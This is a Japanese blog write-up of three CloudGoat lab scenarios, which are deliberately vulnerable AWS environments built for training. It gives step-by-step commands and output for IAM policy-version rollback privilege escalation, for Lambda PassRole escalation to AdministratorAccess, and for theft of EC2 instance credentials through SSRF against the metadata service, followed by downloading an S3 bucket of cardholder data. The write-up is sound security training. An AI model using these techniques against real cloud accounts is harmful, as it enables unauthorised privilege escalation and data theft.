CTF for BBA

ゲーム時々CTFやるBBAの日常。

AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(前編)

CloudgoatはRhino Security Labsが開発した、脆弱なAWS環境の構築ツール。
現時点で7つのシナリオが用意されており、攻撃者の立場となって環境を攻撃することでAWSのセキュリティについて学習できます。

インストールは公式サイトや下記記事を参考に行えば良いのですが、現バージョンでは./cloudgoat.py config whitelist --autoコマンドでエラーとなります。

github.com

dev.classmethod.jp

これを通すためには、./cloudgoat.py config whitelistコマンドの後、IPアドレスを聞かれるので、自身の外向きIPアドレスを入力するか、
動くようにしたものを私のgithubに置いているのでこちらを利用して頂いても構いません。

git clone -b develop https://github.com/ctf4bba/cloudgoat.git


本記事ではまず3つのシナリオをやってみています。



iam_privesc_by_rollback (Small / Easy)

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/iam_privesc_by_rollback/README.md

攻撃者は、ほとんど権限のないIAMユーザーから始め、IAMポリシーの過去のバージョンを確認・リストアし、最終的にfull adminに権限昇格するというシナリオ。

./cloudgoat.py create iam_privesc_by_rollbackでシナリオに必要なリソース等が用意される。
作成されるstart.txtからaccess_key_idsecret_keyを確認し、raynorのprofileを作成する。

% cat start.txt 
cloudgoat_output_aws_account_id = 7***********
cloudgoat_output_policy_arn = arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50
cloudgoat_output_raynor_access_key_id = A**************
cloudgoat_output_raynor_secret_key = l***************************
cloudgoat_output_username = raynor-cgid4gjhu3qs50
aws configure --profile raynor
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: l***************************
Default region name [None]:
Default output format [None]:


ここからはiamのコマンドリファレンスを見ながら進める。

iam — AWS CLI 2.1.4 Command Reference

raynorのPolicyArnを確認する。

% aws iam list-attached-user-policies --user-name raynor-cgid4gjhu3qs50 --profile raynor
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-cgid4gjhu3qs50",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50"
        }
    ]
}

IAMのバージョンを確認すると、v1がデフォルトとして設定されていることがわかった。

% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-09-13T18:40:17+00:00"
        }
    ]
}

v1を確認してみると、SetDefaultPolicyVersionが許可されている。

% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v1 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "IAMPrivilegeEscalationByRollback",
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-09-13T18:40:17+00:00"
    }
}

v2を見てみると、フル権限があるようだ。

% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2020-09-13T18:40:24+00:00"
    }
}

デフォルトバージョンを変更し、ポリシーをロールバックする。

% aws iam set-default-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor

これでフル権限を奪取できた。

試しにVPCを作成してみる。権限昇格前は拒否されていたのが、

% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor

An error occurred (UnauthorizedOperation) when calling the CreateVpc operation: You are not authorized to perform this operation.

権限昇格後は作成できるようになっている。

% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor                                                                          
{
    "Vpc": {
        "CidrBlock": "192.168.0.0/23",
(snip)
    }
}



lambda_privesc (Small / Easy)


https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md

LambdaアクセスとPassRole権限を持つロールを引き受け、Lambdaの実行を通してAdministratorに権限昇格するシナリオ。


まずは./cloudgoat.py create lambda_privescでリソース等の準備をする。

profileを作成。

% aws configure --profile chris
AWS Access Key ID [None]: A*******************
AWS Secret Access Key [None]: E***************************************
Default region name [None]: ap-northeast-1
Default output format [None]: 

ユーザ名の確認。

% aws iam get-user --profile chris
{
    "User": {
        "Path": "/",
        "UserName": "chris-cgidsjgwdtt0wa",
        "UserId": "A*******************",
        "Arn": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa",
        "CreateDate": "2020-10-19T03:13:32+00:00",
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-chris-cgidsjgwdtt0wa"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

ポリシーの確認。

% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa"
        }
    ]
}
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --profile chris
{
    "Versions": [
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-10-19T03:13:32+00:00"
        }
    ]
}
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --version-id v1 --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "chris",
                    "Effect": "Allow",
                    "Action": [
                        "sts:AssumeRole",
                        "iam:List*",
                        "iam:Get*"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-10-19T03:13:32+00:00"
    }
}

sts:AssumeRoleが許可されている。
stsはSecurity Token Serivceのことで、これはロールの引き受け(一時的にそのロールの権限を持つこと)を可能にするコマンド。

早速roleを見てみる。

% aws iam list-roles --profile chris
(snip)
        {
            "Path": "/",
            "RoleName": "cg-debug-role-cgidsjgwdtt0wa",
            "RoleId": "A*******************",
            "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa",
            "CreateDate": "2020-10-19T03:13:32+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa",
            "RoleId": "A*******************",
            "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa",
            "CreateDate": "2020-10-19T03:13:40+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ]
}

使えそうなロールが2つある。

% aws iam get-role --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-debug-role-cgidsjgwdtt0wa",
        "RoleId": "A*******************",
        "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa",
        "CreateDate": "2020-10-19T03:13:32+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidsjgwdtt0wa"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

% aws iam get-role --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa",
        "RoleId": "A*******************",
        "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa",
        "CreateDate": "2020-10-19T03:13:40+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidsjgwdtt0wa"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            }
        ],
        "RoleLastUsed": {}
    }
}

debugロールのprincipalにはlambdaが、lambdaManagerのprincipalにはchrisが設定されている。

AWS JSON ポリシーの要素: Principal - AWS Identity and Access Management

なお、principalはロールの引き受けが可能なIAMエンティティを定義している。

各ロールにインラインポリシーはなかったので(list-role-policiesで確認)、ロールにアタッチされた管理ポリシーを確認。

qiita.com

まずはlambdaManager。

% aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-cgidsjgwdtt0wa",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa"
        }
    ]
}
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --profile chris
{
    "Versions": [
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-10-19T03:13:32+00:00"
        }
    ]
}
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --version-id v1 --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "lambdaManager",
                    "Effect": "Allow",
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-10-19T03:13:32+00:00"
    }
}

次にdebug。

% aws iam list-attached-role-policies --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris 
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

lambdaManagerには、lambdaの実行権限とPassRoleがあり、debugロールの方にAdministratorAccessが付いている。
前述の通り、debugロールは直接Assumeすることはできず、lambdaの実行ロールとしてしか使えない。

% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --role-session-name debug --profile chris

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa

ので、chris -> lambdaManagerをAssumeRole -> debugロールでlambdaを実行 -> admin権限をchrisに付与、の方針とする。

まず、lambdaManagerをAssumeRoleする。

% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa --role-session-name lambdaManager --profile chris
{
    "Credentials": {
        "AccessKeyId": "A*******************",
        "SecretAccessKey": "6***************************************",
        "SessionToken": "(snip)",
        "Expiration": "2020-10-21T03:22:46+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "A*******************:lambdaManager",
        "Arn": "arn:aws:sts::7***********:assumed-role/cg-lambdaManager-role-cgidsjgwdtt0wa/lambdaManager"
    }
}

発行された一時的な権限を~/.aws/credentials~/.aws/configに書き込む。

[lambdaManager]
aws_access_key_id = A*******************
aws_secret_access_key = 6***************************************
aws_session_token = (snip)
[profile lambdaManager]
region = ap-northeast-1

AWS IAM Privilege Escalation – Methods and Mitigation

こちらを参考にlambdaのコードを書く。

import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName = 'chris-cgidsjgwdtt0wa',
        PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return response

コードをzipファイルにして、lambdaを実行する。
lambdaを使ったことがなかったのでちょっとハマったが、handlerにはファイル名.関数名、zip-fileにはファイルパスの前にfileb://を付ける。

% zip function.zip lambda_function.py
  adding: lambda_function.py (deflated 27%)
% aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --handler lambda_function.lambda_handler --zip-file fileb:///path/to/function.zip --profile lambdaManager
{
    "FunctionName": "privesc",
    "FunctionArn": "arn:aws:lambda:ap-northeast-1:7***********:function:privesc",
    "Runtime": "python3.6",
    "Role": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 360,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2020-10-21T04:24:20.327+0000",
    "CodeSha256": "P/r+N6lR6BgjoJNxfrkcmmNZ7EtsUJUe3OYOr6AByHc=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "8748a0af-02b2-41bd-ac4b-453de15e8498",
    "State": "Active",
    "LastUpdateStatus": "Successful"
}
% aws lambda invoke --function-name privesc output.txt --profile lambdaManager
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

chrisにadmin権限を付けることができた。

% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris 
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa"
        },
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}



cloud_breach_s3


https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cloud_breach_s3/README.md

誤って設定されたリバースプロキシサーバを悪用して、EC2のメタデータにアクセスし、インスタンスのプロファイルキーを取得する。そして、そのキーを利用してs3バケットから機密データを入手するというシナリオ。

まずは与えられたIPにアクセスしてみる。

% curl http://52.**.**.**/
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>

なんとも親切なメッセージが表示される。hostヘッダをメタデータ取得のためのIPに変更してみる。

[小ネタ] EC2インスタンスメタデータを簡単に確認する | Developers.IO

169.254.169.254インスタンスからアクセス可能な特別なIPアドレスで、インスタンスに関わるメタデータが取れる。

% curl http://52.**.**.**/latest/meta-data -H "host: 169.254.169.254"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/%                                  
% curl http://52.**.**.**/latest/meta-data/iam/security-credentials -H "host: 169.254.169.254"
cg-banking-WAF-Role-cgidnq7cedovmz
% curl http://52.**.**.**/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgidnq7cedovmz -H "host: 169.254.169.254"
{
  "Code" : "Success",
  "LastUpdated" : "2020-10-21T08:49:49Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "A*******************",
  "SecretAccessKey" : "w***************************************",
  "Token" : "(snip)",
  "Expiration" : "2020-10-21T14:56:03Z"
}

これを~/.aws/credentialsに書き込み~/.aws/configにprofileを設定して、s3を見てみる。

% aws s3 ls --profile banking-WAF
2020-10-21 17:03:25 cg-cardholder-data-bucket-cgidnq7cedovmz
% aws s3 ls s3://cg-cardholder-data-bucket-cgidnq7cedovmz --profile banking-WAF
2020-10-21 17:03:39      58872 cardholder_data_primary.csv
2020-10-21 17:03:39      59384 cardholder_data_secondary.csv
2020-10-21 17:03:40      92165 cardholders_corporate.csv
2020-10-21 17:03:41     249500 goat.png
% aws s3 sync s3://cg-cardholder-data-bucket-cgidnq7cedovmz . --profile banking-WAF
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_primary.csv to ./cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_secondary.csv to ./cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/goat.png to ./goat.png
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholders_corporate.csv to ./cardholders_corporate.csv

機密データっぽいファイルが取れた。

f:id:boxwolf:20201022115534p:plain